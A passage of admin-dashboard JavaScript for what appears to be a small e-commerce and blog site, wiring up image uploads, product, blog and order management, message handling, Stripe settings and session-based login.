event.target.closest("[data-site-edit-page-preset]"); if (!button) return; selectSiteEditPreset(Number(button.dataset.siteEditPagePreset)); }); saveBulkSiteEditsButton?.addEventListener("click", async () => { try { await saveBulkSiteEdits(); } catch (error) { showStatus(globalStatus, error.message, "error"); } }); productImageInput.addEventListener("change", async () => { showStatus(globalStatus, "Uploading product images..."); const files = await uploadFiles(productImageInput); state.productImages.push(...files.map((file) => file.url)); renderImageStrip(productImageList, state.productImages, "product"); showStatus(globalStatus, files.length ? "Product images uploaded." : "No image files uploaded.", files.length ? "success" : ""); }); blogImageInput.addEventListener("change", async () => { showStatus(globalStatus, "Uploading blog images..."); const files = await uploadFiles(blogImageInput); state.blogImages.push(...files.map((file) => file.url)); renderImageStrip(blogImageList, state.blogImages, "blog"); showStatus(globalStatus, files.length ? "Blog images uploaded." : "No image files uploaded.", files.length ? "success" : ""); }); productForm.addEventListener("submit", async (event) => { event.preventDefault(); try { await saveProduct(); } catch (error) { showStatus(globalStatus, error.message, "error"); } }); blogForm.addEventListener("submit", async (event) => { event.preventDefault(); try { await saveBlog(); } catch (error) { showStatus(globalStatus, error.message, "error"); } }); siteEditForm?.addEventListener("submit", async (event) => { event.preventDefault(); try { await saveSiteEdit(); } catch (error) { showStatus(globalStatus, error.message, "error"); } }); blogForm.addEventListener("input", (event) => { if (event.target.name === "title" && !blogForm.elements.slug.value) { blogForm.elements.slug.value = slugify(event.target.value); } }); blogBlocksTarget.addEventListener("input", (event) => { if (event.target.matches("[data-block-field]")) syncBlockFromInput(event.target); }); blogBlocksTarget.addEventListener("change", async (event) => { if (!event.target.matches("[data-block-upload]")) return; const row = event.target.closest("[data-block-index]"); const block = state.blogBlocks[Number(row.dataset.blockIndex)]; if (!block) return; showStatus(globalStatus, "Uploading block image..."); const files = await uploadFiles(event.target); if (files[0]) { block.src = files[0].url; renderBlogBlocks(); showStatus(globalStatus, "Block image uploaded.", "success"); } }); $$("[data-add-block]").forEach((button) => { button.addEventListener("click", () => addBlogBlock(button.dataset.addBlock)); }); $$("[data-message-filter]").forEach((button) => { button.addEventListener("click", () => { state.messageFilter = button.dataset.messageFilter; $$("[data-message-filter]").forEach((item) => item.setAttribute("aria-pressed", String(item.dataset.messageFilter === state.messageFilter)) ); renderMessages(); }); }); $$("[data-order-filter]").forEach((button) => { button.addEventListener("click", () => { state.orderFilter = button.dataset.orderFilter; $$("[data-order-filter]").forEach((item) => item.setAttribute("aria-pressed", String(item.dataset.orderFilter === state.orderFilter)) ); renderOrders(); }); }); accountForm?.addEventListener("submit", async (event) => { event.preventDefault(); showStatus(settingsStatus, "Saving account settings..."); try { await saveAccountSettings(); showStatus(settingsStatus, "Account settings saved.", "success"); } catch (error) { showStatus(settingsStatus, error.message, "error"); } }); stripeForm?.addEventListener("submit", async (event) => { event.preventDefault(); showStatus(settingsStatus, "Saving Stripe settings..."); try { await saveStripeSettings(); showStatus(settingsStatus, "Stripe settings saved.", "success"); } catch (error) { showStatus(settingsStatus, error.message, "error"); } }); document.querySelector("[data-test-stripe]")?.addEventListener("click", async () => { showStatus(settingsStatus, "Testing Stripe connection..."); try { const result = await testStripeConnection(); const mode = result.livemode ? "live" : result.mode || "test"; showStatus(settingsStatus, `Stripe connection OK (${mode} mode).`, "success"); } catch (error) { showStatus(settingsStatus, error.message, "error"); } }); contactSettingsForm?.addEventListener("submit", async (event) => { event.preventDefault(); showStatus(settingsStatus, "Saving contact links..."); try { await saveContactSettings(); showStatus(settingsStatus, "Contact links saved.", "success"); } catch (error) { showStatus(settingsStatus, error.message, "error"); } }); document.addEventListener("click", async (event) => { const target = event.target.closest("button, a"); if (!target) return; if (target.dataset.removeProductImage !== undefined) { state.productImages.splice(Number(target.dataset.removeProductImage), 1); renderImageStrip(productImageList, state.productImages, "product"); } if (target.dataset.removeBlogImage !== undefined) { state.blogImages.splice(Number(target.dataset.removeBlogImage), 1); renderImageStrip(blogImageList, state.blogImages, "blog"); } if (target.dataset.editProduct) editProduct(target.dataset.editProduct); if (target.dataset.deleteProduct) { if (!confirm("Delete this product from the public catalog?")) return; await api(`/api/admin/products/${encodeURIComponent(target.dataset.deleteProduct)}`, { method: "DELETE" }); await loadData(); showStatus(globalStatus, "Product deleted.", "success"); } if (target.dataset.editBlog) editBlog(target.dataset.editBlog); if (target.dataset.deleteBlog) { if (!confirm("Delete this blog article from the public site?")) return; await api(`/api/admin/blogs/${encodeURIComponent(target.dataset.deleteBlog)}`, { method: "DELETE" }); await loadData(); showStatus(globalStatus, "Blog deleted.", "success"); } if (target.dataset.editSiteEdit) editSiteEdit(target.dataset.editSiteEdit); if (target.dataset.toggleSiteEdit) { await toggleSiteEdit(target.dataset.toggleSiteEdit); } if (target.dataset.deleteSiteEdit) { if (!confirm("Delete this website edit permanently?")) return; await api(`/api/admin/site-edits/${encodeURIComponent(target.dataset.deleteSiteEdit)}`, { method: "DELETE" }); await loadData(); showStatus(globalStatus, "Website edit deleted.", "success"); } if (target.dataset.removeBlock !== undefined) { state.blogBlocks.splice(Number(target.dataset.removeBlock), 1); renderBlogBlocks(); } if (target.dataset.moveBlock !== undefined) { const from = Number(target.dataset.moveBlock); const to = from + Number(target.dataset.direction || 0); if (to >= 0 && to < state.blogBlocks.length) { const [block] = state.blogBlocks.splice(from, 1); state.blogBlocks.splice(to, 0, block); renderBlogBlocks(); } } if (target.dataset.openOrder) { state.selectedOrderId = target.dataset.openOrder; setPanel("orders"); renderOrders(); } if (target.dataset.updateOrder) { const patch = { status: target.dataset.status }; if (target.dataset.paymentStatus) patch.paymentStatus = target.dataset.paymentStatus; await updateOrder(target.dataset.updateOrder, patch); showStatus(globalStatus, `Order marked ${orderStatusLabel(target.dataset.status).toLowerCase()}.`, "success"); } if (target.dataset.verifyOrder) { showStatus(globalStatus, "Verifying Stripe payment..."); await updateOrder(target.dataset.verifyOrder, { verifyStripe: true }); const order = state.orders.find((item) => item.id === target.dataset.verifyOrder); showStatus(globalStatus, `Stripe status refreshed: ${paymentStatusLabel(order?.paymentStatus).toLowerCase()}.`, "success"); } if (target.dataset.saveOrderNote) { await updateOrder(target.dataset.saveOrderNote, { note: $("[data-order-note]")?.value || "" }); showStatus(globalStatus, "Order note saved.", "success"); } if (target.dataset.deleteOrder) { if (!confirm("Delete this order permanently?")) return; await api(`/api/admin/orders/${encodeURIComponent(target.dataset.deleteOrder)}`, { method: "DELETE" }); state.selectedOrderId = ""; await loadData(); showStatus(globalStatus, "Order deleted.", "success"); } if (target.dataset.openMessage) { state.selectedMessageId = target.dataset.openMessage; setPanel("messages"); renderMessages(); } if (target.dataset.updateMessage) { await updateMessage(target.dataset.updateMessage, { status: target.dataset.status }); showStatus(globalStatus, `Message marked ${statusLabel(target.dataset.status).toLowerCase()}.`, "success"); } if (target.dataset.saveNote) { await updateMessage(target.dataset.saveNote, { note: $("[data-message-note]")?.value || "" }); showStatus(globalStatus, "Message note saved.", "success"); } if (target.dataset.deleteMessage) { if (!confirm("Delete this message permanently?")) return; await api(`/api/admin/messages/${encodeURIComponent(target.dataset.deleteMessage)}`, { method: "DELETE" }); state.selectedMessageId = ""; await loadData(); showStatus(globalStatus, "Message deleted.", "success"); } }); renderProductIconOptions(); renderSiteEditPresetOptions(); (async () => { try { await api("/api/admin/me"); await showDashboard(); } catch (error) { showLogin(); } resetProductForm(); resetBlogForm(); resetSiteEditForm(); })();
Close